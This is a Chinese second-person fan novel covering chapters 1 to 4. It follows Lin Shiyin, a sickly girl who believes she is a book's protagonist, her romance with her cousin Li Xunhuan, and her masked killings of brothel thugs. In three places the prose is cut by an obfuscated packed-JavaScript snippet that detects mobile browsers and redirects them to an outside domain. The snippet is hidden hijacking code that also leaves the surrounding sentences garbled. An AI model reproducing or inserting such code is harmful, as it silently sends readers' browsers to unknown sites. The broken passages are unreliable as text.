《从质疑大侠到超越大侠》 1. 第 1 章 你叫林诗音,是一个身体有些病弱的女孩子。 由于前阵子染了风寒,接着便是止不住的咳嗽,便不被允许出门玩耍,所以你只能半靠在床前,看着窗外飘雪。 窗外的雪已然盖住了大地,扑在你视线里的白像是上好的宣纸,纸上生出层层叠叠娇艳的梅花,在小楼下吐露冰凉的香。 如果说这冷梅是白茫茫里难得的生机,那雪地里“撒欢”的小男孩,则是另一种生机。 他是你的表哥,叫李寻欢,在你刚出生时他就同你定了亲。 你总觉得他未来应该是个美男子的,但可惜再帅的美男子在他六七岁的时候也不过是个只会跑叫的小屁孩而已。 这里并不是说他很熊很讨厌,你只是觉得自己和小男孩玩不到一起去。 他太小了,而你自恃成熟。 你第一次看见他的时候,他正在堆雪人,小孩子圆圆的脸蛋和圆圆的雪人一起映衬,不知道谁更可爱一点。 你的表姑,也是李寻欢的母亲,很放心地将你领给这个比你没大多少的小哥哥面前,让他带你玩。 从侧面看出,他其实是个很让大人放心的孩子。 他也真的有哥哥的样子,耐心地手把手地教你怎么给雪人按上眼睛。 如果你是大人,你会觉得这样乖巧的小兄长真惹人疼。 可是你现在是小孩子,天生讨厌别人家的乖孩子。 在你表姨走后,你和他坦白道:“我不用你教,你自己会堆雪人。” 在他惊讶的目光里,你在小雪人边上徒手搓了一个等人高的“未断臂维纳斯”: 婀娜的雪雕腰线微微扭转,侧身呈现自然优美的螺旋上升体态,裙摆的褶皱仿佛在流动,那女神手扶衣襟在雪中款款走来一般,惊人的美丽。 小雪人在雪雕的对比下幼稚得可怜。 你的脑海中莫名浮现了一串文字: 【这是个女人的人像,在ta纯熟的手法下,这人像的轮廓和线条看来是那么柔和而优美,看来就像是活的。 ta不但给了“她”动人的线条,也给了她生命和灵魂。①】 你不曾惊讶。 只因你很早就知道你生活在一本书里,你脑海中那碎片一般的文字是形容主角的。 你不曾自大地坚信自己是主角。 因为你知道谦逊是良好的品德。 但这个世界的主角如果不是你的话还能有谁呢? 你用红萝卜似的手拍了拍怔愣的李寻欢的肩膀,语重心长道:“你还有的学呢……” 你顿了顿,想起爹妈对你要有礼貌的要求,加上了一句:“表哥。” 你满心期待地看着小男孩,希望他能被你比哭。 然而他没有哭,你有些失望。 他看着你红扑扑的手,将自己稍显温热的手拢住了你的,放到嘴巴呵了一口热气,他用纯真的眼神关怀着看向你,问:“暖和一些了么?” * 视角切回现在,你看见李寻欢在梅林中撒欢。 虽然他的说法是练剑。 但对此你嗤之以鼻。 你是一个病弱的人,因此即使你还年幼,但你的脸因为没有婴儿肥而并不算圆,不笑时神情自然而然就是冷漠,遑论你不屑时的模样,搭配你幼小的年龄,异常冒犯人。 终于有一次,在你下楼看李寻欢练剑,露出这样神色的时候,他的师父忍不住了,出于对未成年的优待,他笑得和气:“小妮子,你是觉得哪里不满意吗?” “我还小,说不上来哪里不满意。”你道,“但是我能看得到他的好几处破绽。” 这位师父显而易见不相信,但他任是宽和的模样:“你的表哥已经是我见过极有天赋的人了,而你……” 他的话还没有说完,你手上折下的梅花枝已经射向了还在练剑的李寻欢。 “叮咯” 溅落一层雪花,好像画纸上一层银白的皴痕,与梅枝相撞的剑被震落在地——李寻欢的剑脱手了。 两双眼睛齐齐看向你。 “你是何处学的功夫?” “表妹你病好啦?” 和这师父的惊讶忌惮不同,李寻欢的声音里有着说不出的开心。 因为他还小,所以你猜他开心的原因是你身体好了就能陪他玩。 只是孩童毫无嫉恨的言语还是让你心里一暖。 你想起第一次见面,你搓完雕像后,惊讶的小男孩没有因而被比下去而吵着闹着哭着。只是握住了你的小红手搓着,给你呵气。 你对他的敌意是从那个时候消融了一些的——是的,你从进李园时就莫名讨厌扮演未婚夫这个角色的人。 那时,你总觉得他不像个良人。 * 你拒绝了李寻欢师父想要连你一起教的想法,你只是每天继续在小楼上看着男孩进步。 然后等他夜晚睡觉了以后你再开始模仿、练习、超越。 你走的是天才人设,才不要让别人以为你会和傻乎乎的他一样需要勤学苦练呢! 而自从知道你有这一手后,李寻欢也经常会来你的小楼找你,也不做什么,只是读书给你听,或者背一些习武练气的口诀。 你问道:“你这是做什么?” 小孩子的心思并不掩饰,他对你说:“若是习武走了岔路,无人引导,会走火入魔的。我知道表妹天资聪慧,我不能比,但还是想同你一起学习,日后我会常来,请表妹多担待。” 他虽然天真幼稚,可有时却又显得比你成熟,从不会和你置气攀比。 ……话说他确实比你大一两岁来着。 总之,六七岁的孩童照顾你时,很是老成。 但你还是觉得自己在欺负小孩,有一种被他比下去的羞耻感,便答应了下来——拒绝的话感觉自己就更幼稚了。 你对他道:“好,不过你不要叫我表妹,叫我阿音,我家乡的人都这样叫我。” 他猛猛点头:“好的,阿音妹妹!” 你用手猛创了他肩头一下:“不要加妹妹!” 这要出去了,你还要不要面子? 他被怼了也不生气,只是嘿嘿笑着。 他其实是很狡黠的男孩子,只是在你面前无端就变得傻乎乎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988548|161584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的。 你不是没有阴暗地蛐蛐过他是白切黑,但是因为他对你百依百顺,便也渐渐不再蛐蛐他。 你就这样在楼上看着梅花绽放了七次,从等着清秀可爱的男孩来访,到等着俊俏温和的少年。 * 李寻欢自十三四岁时就被父兄提醒男女有别,不能随意踏足你的小楼了。 不过他所住的楼同你的楼两两相望,你有时候打开窗,就能看见他在窗边读书的模样。 为了让你听清,他读书的声音故意很响,连他的父兄也觉得他用力过猛,前来提醒他歇歇嗓。 不知情的人以为他要去学唱戏。 知情的你则在对望的小楼上偷笑。 他的眼神很好,知道你在笑,于是读书声里也含了笑意。 其实你已经长大,也已经识字,能去借阅他的书,不需要他再为你读,可是他既然没有说要停止,你也不会提出这点。 等他读完后,休息的时间里,你就拿出笛子开始练习。 一开始你吹的很难听,不愿给人听,所以吹的声音很小,也一度想放弃过。 可是你想,再丢人能丢过李寻欢大声早读吗?再者,李寻欢能坚持早读你就不能坚持吹笛吗? 那必然不可能比不过他。 于是就这样断断续续地吹着,越吹越好,有时候脑海里莫名响起动听的曲调,简直像是前世听过后生在了你的脑子里那样。 你把它们吹出来,得了李寻欢不余遗力的夸奖,便更有动力了。 就像现在,笛声响起,你看着这雪与梅林,还有对面望向你的人。 他专注地瞧着你,眼眸好似碧绿的一汪清潭,酝酿春日的幽兰。 一曲罢,清潭泛起波澜。 你看见李寻欢如鸟雀一般矫捷地从窗口翻身落下,运轻功借梅林而来,折下一枝又一枝的梅花,最后一跃攀到了你的窗前,坐在了窗边。 他将扯下来的那一把梅花递给了站在窗前的你,你放下了笛子接过。 你问着梅花的香味,听他问:“为什么阿音的笛声总像在讲一个个忧伤的故事呢?” 你故作惊讶,实则非常满意他的发问——这不正是代表你吹的好吗? 但你总是要维持自己淡然潇洒的主角气质,因而喜悦之色并不外显。 你说:“因为这就是悲伤故事的主题曲呀。” 他虽然听不太懂,却会问你:“是什么故事呢?” 于是你就会像带孩子一样,给他讲那一个个故事。 有时候讲死在黎明前的黑暗里的人,有时候讲暮年的旅人,或者讲那永远等不到的人。 你会边讲边丢掷梅花,在前一枝在空中时,就扔出后一枝,或衔接或截断上一枝梅花,又或者直接让木枝在空中搓去前一枝的花瓣,形成小小的花瓣雨。 李寻欢听完你的故事,总会很唏嘘。 他那眸子看向你时,仿佛在看一个悲伤的聚合体。 其实你已经飘飘然了。 但是你不会表露,因为你知道,这个世界……这本书的主角在他人眼中,就是一个悲伤的人。 2. 第 2 章 李寻欢对待悲伤的人,会带她去吃饭。 你很喜欢跟着李寻欢去吃各种吃的,这个男人有一点是你所不及的,那就是他确实了解吃喝也了解人。 换做你,可能要一家家尝下去才能知道哪家好吃哪家不好吃,可他不一样,他能根据街上的人的言行判断哪家店好哪家店不好。 而你,惯是不看人眼色的。 你跟着他上了一家酒楼,进了一间开窗就能看见湖山的房间。 你跑过去看风景,李寻欢慢悠悠地跟在你身后,等你转过身,你看见他正在温一壶酒。 你诧异道:“你喝酒?” 不知从何时起,你习惯了你们幼小的年龄,因而总觉得喝酒离你们是很以后的事情。 李寻欢故作不解道:“我以为我们来的店叫酒楼?” 你笑了,你的笑点很低,而他有时候总是在不经意间抖一点冷幽默。 你有时候看他同别人嘴毒,也会忍不住笑,但如果他说的有些话太过分了,你就会在他背后狠狠扭他的腰肉,那时候他就会和对方道歉。 只因你一直觉得自己比他年长,有引导他的义务,好比现在,你对他道:“未成年不能饮酒的,你小心我和姨父去告状。” 他看了你一眼,笑眯眯地说:“对。但我实在是好奇。” 他的前半句有告饶的意思,后半句却带点撺掇一起做坏事的意味。 “应倾半熟鹅黄酒,照见新晴水碧天。早就听闻这水天酒楼的黄酒一绝,若是邀好友一道,对雪景尝菜肴,边上再温一壶酒……”他笑着问你,“谁会不想试试呢?” 琥珀色液体倒入小盏中,从你鼻前掠过,有一股暖辛的气息,让你想起大概是上辈子冬日喝过的黄酒奶茶。 你不是一个能抵挡住诱惑的人:“那……我试试?” 然而那勾/引你的杯盏只是一晃,就到了李寻欢唇前,他一饮而尽,品了品回味,然后对眼巴巴看着的你道:“你说的对,你还小,这般滋味还是让为兄替你先尝了就是。” 你觉得他实在是飘了。 你伸手要去拿酒壶,可那酒壶却被李寻欢的这只手一抛轻巧地落入他的另一只手中,他又是一倒一饮,然后眉眼含笑地看向你。 你知道他在逗你开心,可你是那种不禁逗的人。 你同他快速过了两招,他当然不会同你动真格。 于是你自觉拿到酒壶是小菜一碟的事,事情也如你想的那样……却不料在被你抢到之前,他倒高高举起了酒壶,原本前冲的你身体将将在他身前停住,险些撞进他怀里。 温意扑面而来,伴随的是他身上冰雪和黄酒混合的气息。 他单手扶住了你的腰,于是你们离得更近了。 你绷住身体让自己努力站回去,看着近在咫尺的胸膛,你察觉到了他有一瞬间的紧张。 你抬头,看他微微启唇,看着你的目光有担忧也有些说不清道不明的意味。 似乎是期待,又是无措。 你忽然觉得好玩,于是在他的目光里,你靠近了他的呼吸,他下意识抿了抿唇。 他的唇不知是不是因为被酒液润泽,看着亮晶晶很干净很清爽的样子。 你仰头用唇一蹭一舔,那柔软的晶莹就被你勾入口中。 李寻欢的手一松,在他明显还在灵魂出窍的时候,你看都不需要看,就单手托住了那差点被他摔下的酒壶的壶底。 啊,好烫! 你离开了那唇,低呼一声,拿着酒壶的手就是一抖。 下一刻,手已是一空,李寻欢迅速地把酒壶拿走,拉你到了窗前,握一把雪糊在了你的手上。 这一烫一冰的,你刚要挣脱开,又被他再次紧紧握住。 你看着自己可怜的手,他看着你,对你的状态有些无奈。 他轻轻地,不好意思地说了一声:“下次……不要这样了。” 你抬头:“话说全,不要怎样了?” 他:“……” 他的脸逐渐染红,像是竭力遏制,但又努力想说些劝诫的话的样子——然而他又知道你是天生反骨不爱听劝的人。 你于是领悟了,问道:“可是我们是未婚夫妻不是吗?” 虽然你从前不喜欢被人定婚事,但是这些年你发现他也秀色可餐、蕙质兰心。 他像是反应了过来:“是的……” 因为这件婚事因你们年少而很少提及,因而反倒成了一个快要埋藏的约定。 你其实也拿不准他的想法,不过你也从不会强人所难:“不过你要是不喜欢,就算了。” 他脱口而出一句“我”,却又声音轻了下去,他苦笑道:“可我也不能说喜欢啊,那岂不是成了浪荡的王八蛋?” “为什么呢?”你说,“若是两情相悦,喜欢身体接触是很自然而然的事情呀。” 你的手动了动,示意他松开,在他松开之后,你伸出了手:“李寻欢,抱抱我。” “什么?” “你难道不想抱抱我么?”你不管他的惊讶,手一直伸着。 你见他动了动手,结果又眼睁睁看着他的手摸到了他鼻子上露出讪色的时候,你不由得有些不耐:“算了。” 然而就在你手要放下的时候,你被抱住了,就像被裹进一个酒和雪的香味里,那是属于李寻欢的气息。 你喜欢这个怀抱,轻轻的,温暖的,生涩的,含着一个少年第一次意识到什么而发出的喟叹。 这样的他太好看穿了,所以你甚至不需要问,就对他下了定义:“这就是喜欢。” 他抱着你,脸颊在你的脖子间轻轻蹭蹭,你觉得有些痒,便忍不住笑了。 你对他道:“李寻欢,这次我想你亲亲我。” 他似乎愣住了,你看着他脸上变幻的神情,或许他知道你会轻易说“算了”,于是这次很快,你察觉他的手轻轻托住了你的后脑。 他的这个动作很容易引起你的警觉,可是他太轻柔了,又有些笨拙的卡顿,便没有引起你的反感。 房间里燃烧的小炉子偶尔也会发出些声响,窗外鸟雀飞起,惊落了房檐上的碎雪。 他顺从了你的命令,缠绵的黄酒味逐渐侵略,熏熏然的,又升腾起一股熨贴的暖意。 酥酥痒痒的,好像猫的尾巴尖轻轻蹭过脸颊的欣悦感。 良久,你拍了拍他背,示意他松手:“李寻欢,酒不好喝,我想喝黄酒奶茶。” 李寻欢从来对你都是予取予求,然而这次他却没能做出你想要的。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988549|161584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 不仅是因为他的脸红红的无法立刻做出回应,更是因为,你发现如今这世上似乎没有红茶。 欸? * 在你拍着脑袋总算做出红茶的那年,李寻欢考中探花。 那年他十八岁,你见到了他最意气风发的样子,他骑着白马归家,在看见等在门口的你时,他跑来将你抱入了怀中。 那是一个更宽广也更用力的怀抱,依旧是曾经的味道,混杂着路途上的风尘的气息,紧得你都有些呼吸不畅,你拍拍他的背熟练地示意他放手。 等他半搂着你进门,空出的手刚关上门隔绝掉街坊的视线。 在他下一步腻歪的动作前,你提起了手中的酒,对他道恭喜:“十八年的女儿红,我找了好久,好说歹说才从嫁女儿的人家里买了一瓶来的,你……” 你的话没说完,不知道他又激动个什么劲,这次接过酒抱起你转了一圈又一圈。 等停下来后,你仿佛看见了满天的星星在旋转,于是你那句“你拿着去给我做黄酒奶茶”就也忘记说出来了。 你在他的怀里缓神,只听得他低低的一句:“不知道你们家的女儿红,什么时候能喝呢?” 你晕晕道:“我也不知道,不若晚上做个梦问问我爹娘埋哪了?” “……” 他失笑,看着你,目光缱绻。 等他熟练地吻上来的时候,你才后知后觉地啊一声,反应过来他问的是你们的婚期。 你喜欢和他亲密的时刻,然而你总觉得,你的婚期是遥遥无期的。 * 正如你所想,他的父兄先后重病不愈,不到两年,便接连去了。 于是李园这一门三探花,如今只剩下一位。 自表姑去世后,你再次看见了他最悲痛的模样。 你陪着他在坟前,十余年里,第一次听见他对你提了要求。 他说:“阿音,你再给我吹一曲笛可好?” 你没有带笛子,你怎么会在他亲人出殡时带笛呢? 你看他憔悴模样,知晓他没有想到这茬,你也不忍拒绝他在恍惚中的请求,于是你就近取了一片叶子吹。 叶子和笛子是不一样的,你觉得叶子好难吹啊,你努力了半天才发出声音,感觉像是在用嘴放屁。 但是他却笑了,他用干涩的嗓音笑着说:“阿音,真不好听啊。” 他的话也不好听,但你却很庆幸。 毕竟你只会吹哀伤的曲调,而他已经不需要再哀伤了。 你扔掉了叶子,半跪下抱住了他,安慰地拍了拍他的脊背:“将就一下吧,日后再为你吹一曲好听的。” 那时候,你总将学会欢乐的曲调,就像你们也会有新的欢乐的记忆那样。 他在你的怀里,轻轻说了一声:“好。” * 话虽如此,但他还没有听到你的笛声就要离家了。 他自长大,自为官,总是有很重要的事情要去做,而他总是很放心你在李园,做他的后方。 但其实当他离开,这李园对你而言就没有一个亲人的时候,这便不再是家,你也不会愿意一个人守着这偌大的园子的。 何况你总觉得继续等在园中会有什么不好的事情发生。 3. 第 3 章 你在园中安排好各项事宜后,便也独自出了门。 你不会驾车,但会骑马,骑累了,便找酒家休息。好在比起深山老林,你更爱往繁华之处去,于是便总能找到舒适的客栈,而不至于奔波劳累到灰头土脸。 但是你又发现了,这繁华之地,秦楼楚馆是真的多啊,楼里的姑娘有些还是孩子呢——你礼貌地上门,拿着自己卖红茶得来的银钱询问能不能买下整栋楼,赎她们回家。 你低估了这个时代里黑势力的猖狂,他们不仅笑话你天真,还因为你是个女人而想欺负你。 你正当防卫,并且防卫过当。 你刀了一个人,看着楼里其他企图报仇和报官的人,你觉得有点麻烦。 但是没关系,只要把知情人都杀了,你就也没杀人—— 最后一个倒下的男人听着你的自言自语,惊恐又悲愤地问道:“你的脸都包成这样了还怕我们报官寻仇吗?!” 你摸了摸自己被裹成球的脸:“这只是一重保险而已,但是还不够保险。” 你杀了他,熟练得甚至没让自己身上沾染血迹。 你对自己杀人不眨眼的状态有些吃惊,不过你知道这些人死不足惜。 你觉得自己做了一件好事——你继续往前旅行,想来坏人都死了,那么那些姑娘应该能够自己逃出来。 然而等你旅行回来,再次路过这里,你发现事情并不是这么简单的。 也是那天,你明白了一个道理,你若要救一个人,那么不仅要救出她的身体,还要救出她的心灵,并指引她的前途,给她安身立命的方法。 如果这些你都做了,她还会落入险境,那么这就是世道的问题。 这世道坏透了,不只是杀坏人就能解决问题的。 你再次捣毁了一个魔窟,然后带着愿意和你回家的姑娘回了李园。 也是这时,你脑海中的文字碎片再次浮现。 【(ta)反而变本加厉,居然将京城的名妓小红和小翠带回家来了。①】 你沉默了一会儿,觉得这本书用“变本加厉”来形容你实在有些奇怪,但是你知道自己确实停不下来了。 你又去了其他地方,又带回来了些人。 等李寻欢回来的时候,李园里弥漫着茶香和酒香还有女孩子的声音。 这些女孩子与其说是你的员工,不如说是你的学生、你的朋友,你开拓一小块商业版图,需要她们的力气和智慧。 你余光已经瞧见了李寻欢,他只是远远看着,没有询问,也没有打扰你。 你也等到下课了,才跑过去见他。 他虽然不到二十,但比之你,已有了成熟可靠的模样,他身材高挑,站得很直,很端方,可是当你靠近,他就不自觉地将头低了下来,仿佛靠近你才能听清楚你的话语,流露出自然而然的亲昵。 他仍会对你露出顽皮的笑容,明亮的眼睛里没有奔波的疲倦,只有见到你的愉悦。 你向他伸出了手,于是他就像早已习惯的那样,熟悉流畅地靠入你的怀抱:有力的双臂已经不再害羞,也学会了温柔地搂住你。 他说:“阿音,我很想你。你呢?” 你不能说不想他,只是他不在家的时候,你会出去玩耍,很少被思念牵绊。 但你总会在他回来前回来。 你自然可以不管不顾地离开李园,可十余年的相处,你却也不忍想他回家时见不到一个亲人的模样。 你已经把他当作了亲人,是可以互相支扶持支撑的存在,是在他面前吹叶子吹得像放屁也不会羞恼的关系。 这关系可以让爱情自然地融入其中,但若是没有爱情,也不会改变什么。 于是你说:“我天天盼你回来给我做黄酒奶茶。” 但,没有黄酒的奶茶也是好喝的奶茶。 他是个很聪明的男人,很潇洒,所以不会问你盼的是他还是他的苦力。 他笑着陪你去小院里赏花,从前,你有时候也会在廊下看他那赏心悦目的茶艺。 不过这一次,在他陪你来小院时,已有姑娘在那里烹茶,石桌上是她们制作的精美小菜和点心。 她们见了你,很有礼貌地站起来喊了一声“老师”。 “老师,这是桂花蜜的乳茶,正合了秋日意境。学生第一次调制的时候觉得不错,便想做给你也尝尝。” “老师,天气干燥,这道蜜山药是我做的,您说爱炸物,便将山药两用,试着炸了山药片。” …… 你一一应了,李寻欢在边上默默看着你们,她们介绍完了,便道:“那便不打扰您和李大人了。” 她们走了,但她们的香气仿佛还在,留下一桌令人愉悦的美好。 李寻欢看了一眼桌上的菜色,又看了一眼已经无人的院门口,他笑了:“阿音,你说女人是不会嫉妒的,但我倒觉得她们挺嫉妒我。” 你看着他,不知道他突兀地想表达什么。 但是你知道李寻欢确实看人挺准,于是你道:“你不在的时候,我们一起吃饭,你来了,她们怕我们不自在,还特意腾了位置给你。你不说她们大方,倒说人家嫉妒,这是毫无道理的。” 李寻欢问:“你的意思是,她们坐在我的位置,做我该做的事情,每天和你学习,还陪着你一起吃饭?” 你听着他越发戏谑的语气,忽然了悟,你喊了一声:“表哥。” 你笑着看他:“不是她们嫉妒,是你在嫉妒。” 他看着你的笑,莫名也翘起嘴角,那如春湖般的眼波泛起涟漪。 他温和地说:“对,我嫉妒。” 你在那一瞬间有些晃神,你总觉得李寻欢此人就像是一棵桂树,其他三季如翠墨般沉郁,枝干质朴端方,毫无变化地普通生长着,可到了某个时刻,忽然就会流露无法忽视的芳香来,让你知道他并不总是那样沉默无闻的绿。 你喜欢桂花,喜欢会向你露出不一样情绪的他。 他半真半假地埋怨道:“我确实不曾料到,我在外想你想的发疯的时候,你却有佳人在侧,暖玉温香,欢声笑语,好不热闹。不过这样也很好,我以为表妹一个人会在李园孤单,但见你总能让自己快乐,我便也快乐了。” 他越说,神情便故作越惆怅,你便笑意越浓,到后面乐不可支:“李寻欢,你实在该去唱戏。” 这怨夫味演的真好笑。 你学他说:“哈哈哈哈‘想你想得发~疯~’,好肉麻。” 他的神情随着你笑话他的话语变成了无语和无奈。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988550|161584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 你笑完后告诉他:“你若想说思念,就不能只说思念,若要我来唱,唐诗宋词的相思曲,我可以说不歇。你每次回来都来来回回说同样的话,我可要听厌了。” 你忍不住戏谑:“表哥,你可有的学呢。” 李寻欢知道你不屑花言巧语,故意道:“受教了,可你若要让一个愣头青能说出所谓不油腻的情话来,就得多和这个愣头青说说你的情话。” 你笑了笑,偏过头才不接他的话茬。 你捧着桂花蜜乳茶小口喝着,热意滚进了喉咙。 余光里瞥见他也不恼,正从携带的行囊里拿出一个木雕摆件,然后又一个,又一个…… 你重新偏向他,看清那是一个个的小像,眉眼清冷,因而会显得忧郁,身形单薄,衣裙时而蹁跹时而安宁。 到后面,或许他的手艺精进了,小像那清淡的眉眼搭配勾起的唇角,竟显得有些狡黠,好似张口就要说些俏皮话来。 但她要是出神不笑,却又似笼罩一层落雨似的忧愁。 你对自己的认知,和他人对你的认知,总是有些出入的。其实每个人在他人眼里和在自己眼里,也是不同。 但你认出来那是属于你的小像。 不管如何,在李寻欢的手里,你的小像很美丽。 所以你很喜欢它们。 你想起了石膏娃娃,你和李寻欢说:“我可以给它们上色吗?有了颜色一定会很好看。” 李寻欢轻轻拦住了你的手:“你不会认为这是我带给你的玩具吧?” 你似怨似嗔地睨了他一眼,你怎会不懂。 一个男人,给你雕了这么多数不清的小像,那还能说明什么呢? “说明你是真的爱雕刻。” 你说:“你要是介意的话,我就不画了,那你下次也不要雕我,雕你自己去。” 李寻欢瞧着你,不知你是故意和他对着干,还是你真不明白,只好道:“我是每一想到你,就会雕一个小像。” “那不还是说明你爱雕刻?”你说,“不然你为什么不会一想我就学做一道我爱吃的菜呢?毕竟你的手艺真应该好好练练。” 李寻欢的脸上露出似笑非笑的神情,他深知不能和你趁口舌之快,否则你会被激起胜负欲,非要争输赢。 干脆顺了你的意,他说:“是,雕刻是我练刀手稳的秘诀。” 你知道他有些恼意了,这个男人若是生气了的话确实难哄,你便趁他还没有真的恼时,起哄似的振臂高呼:“小李飞刀,冠绝天下,出手一刀,例无虚发!” 他好不容易说出让你哄的风凉话,这会儿也说不出来了,更别提故作羞恼了,他现在的样子像很想扒拉下你举起的胳膊——他实在被你高调到尴尬了。 当年他带你出门,使出一手飞刀,蒙面的你就在大街上喊出了这声江湖评价,在路人惊讶的目光里,他尴尬得几乎犯了社恐,陪笑着带你匆匆离去。 他怕有人笑话他为了显扬名声还自带捧哏,他实在是丢不起那个人。 如今他显然回想起来当初,却又似乎想得更远,他感叹道:“世人无知,所谓冠绝,也比不上表妹的梅花枝。我从未见过阿音练剑,可却知道你若是拿起剑,这江湖就没有那些剑客什么事了。” 4. 第 4 章 他和你道:“你可知当有人问我谁人的剑法如何如何,我都会忍不住告诉他,你才是最厉害的。 我和那些人说:‘她只需看一遍你的剑法,不仅是记住,就好像脑海里已经练习了千万遍,最可怕的是她不仅学会了你招术里的长处,而且还弥补了你的短处。 要是只看她的手,绝不相信那没有茧子的柔荑是练剑的手,没有人会相信这点……因为她从小就病弱,是要人娇生惯养的,所以她确实不曾舞刀弄剑,可我知道剑意早随着她的记忆融入了她的身体,如果她出手了,便是天下谁也比不过的。’” 你喜欢看他和你说这些,你笑他:“你这样说话,别人一定会说你发癫。” “他们或许以为我这个酒疯子在发酒疯,可决计是不敢当面这样说的。”李寻欢道,“他们先是迟疑,然后恍然大悟地说:‘是李探花在畅想自家千金以后是什么样吗?那定然是虎父无犬女的!’” 他演的活灵活现,你被逗笑得咳嗽起来,他连忙给你递茶,结果你就被乳茶糊住了嗓子,一发声就呼噜呼噜的。 他先是着急,后面忽而又问:“你说,你现在像不像上次你逗的那个婴孩?她被你逗得笑吐了奶。” 你一边咳嗽,一边又朝他肩上锤了两拳。 他顺手握住了你的拳,将你抱入怀里,为你顺着背,轻轻笑着:“你看我俩,明明还未成婚,却像有了孩子就围绕这个话题转的老夫老妻。” 你渐渐收了笑,他却兀自畅想,没有察觉你的沉默。 每次谈及婚约,你总有些不吉利的想法,就好像上辈子,上上辈子,上上上辈子,你都有过不那么美满的经历。② 你想起当初他想听你吹笛却没有听成,本要提起这件事去楼里拿笛,却又怕勾得他伤心,终究只是安静地躺在他怀中,一起看着秋日里的圆月。 * 李寻欢并不能一直待在李园,自中秋之后,他先后离开李园很多次,你便也去了很多地方,救了很多人。 但因为你杀的恶人太多,渐渐也有些恐怖的名声传出去,不太好听。 你倒不在乎好不好听,能让恶人害怕是一种本事,只是你没让这些事和李园有太多牵扯。 杀人的是蒙面侠,和你李园阿音有什么关系。 你自恃武功高强,一旦蒙上面罩就不曾害怕什么,但是人心诡计从来难防难躲。 你遭了暗算。 对方因为惶恐传闻里的你找上门,早就做了准备。 你懊恼地捂着晕乎乎的头,感觉很久以前你也无知无畏地中过暗算,偏你当初游戏人间,从不在意那些因为生死而造成的别离。 可是这次,不会有曾经的那人来救你了,你更不愿給亲人带去麻烦。 你逃出埋伏,脱掉伪装,混入人群,药效下你坚持不了多久,你一心躲避仇家,也不知道自己跑到了什么地方。 也是这个时候,一只柔软的小手抓着你,你跟随着她躲入了一个绮丽的房间,还没等你看清什么就被她推着塞进了充满香味的衣柜。 你很想睡觉,因而对时间的概念有些模糊,你甚至不知道自己是不是在闭眼之后晕过去了,你是被破门声惊醒的。 顺着衣柜缝隙,你根据房间里落入的影子偏斜程度了解到自己并未睡多久,坏消息是药效仍旧让你晕沉沉。 那帮追你而来的人到了这个房间,你看不见具体人数,却听见了十三道呼吸。 房间主人却并不惊慌,她的声音脆生生的,因为她的年纪并不大,但是她的语调已然很诱人,就像一枚红透的果子散发的香味。 你听着她三言两语就洗脱了包庇你的嫌疑,妩媚的语气引得那些追你的人几乎忘记了正事,反而争着要得到她的青睐。 直到最后一人胜出,房间被关上了,只留下一个男人对即将发生之事的迫不及待的粗气和女人的笑声。 你不得已地拔了发上的金簪给自己的身上来了狠狠一下,疼痛让你清醒了一点,然后轻轻地推开了柜子,在背对你的男人还没有反应过来前直接取了他的性命。 随着男人的倒下,那个面对你躺在床上的女孩子,脸上的笑意还未散去,就看见了你。 她看上去天真无邪的表情变得有些茫然,但这并不妨碍她迅速坐起身撑住了男人的尸体,快速让他倒在了柔软的被褥里而没有发出响声。 然后她来到了你的面前,此时的你已经跪坐在了地上,垂着头喘息,只能看见她的脚是赤裸的,很可爱干净的脚趾,应该是打理得很勤快细致的,让你想到了自己爱干净的幼妹,踩到地上时莫名叫人不忍她沾染灰尘。 她走到了你面前,双手捧起了你的脸,奔逃时为了融入人群,你丢掉了外套,也没有缠上上引人注目的绷带,因而她现在的双手正贴着你真实的肌肤。 她说:“原来这就是你的样子,真是令人惊讶。” 她的声音已经没有刚才的诱人,年轻又凉薄。 “你见过我?” 听见你的发问,她笑了一声:“见过,而且你一定想不到,我曾经见过你三次。不过,这是我第一次看见你不缠纱布的模样。” 她说着,从怀中取出一根很眼熟的玉簪,簪头被雕琢成了一朵并蒂莲花。玉的材质近于无瑕,偏偏簪头的莲花瓣透露几丝红色,可这瑕疵竟巧妙地贴合了莲纹。 这根簪子材质特殊,是轻易摔不碎的,因而你外出时总是带着它。不知道哪一次外出,忽然就找不到了,因为并不贵重,你便未将这件事放在心上,哪想是被她捡去了。 “这是之前你走后落在地上的,你日后行事可要小心些。也亏得是我,不然被其他人发现了你的身份,就麻烦了。”她将簪子重新簪回你的发上,有些痴迷地摸上了你的脸,“你也曾在青楼里吗?不然你怎么会这么恨这里?你这么美,可为什么我从未听过你的名声?” 你躲开了她的手,这个动作实在不符合你们几面之缘的关系。 她顺势起身,倒也不生气,看了一眼你的状态,走到梳妆柜翻找出药瓶来然后给你的伤口上药。 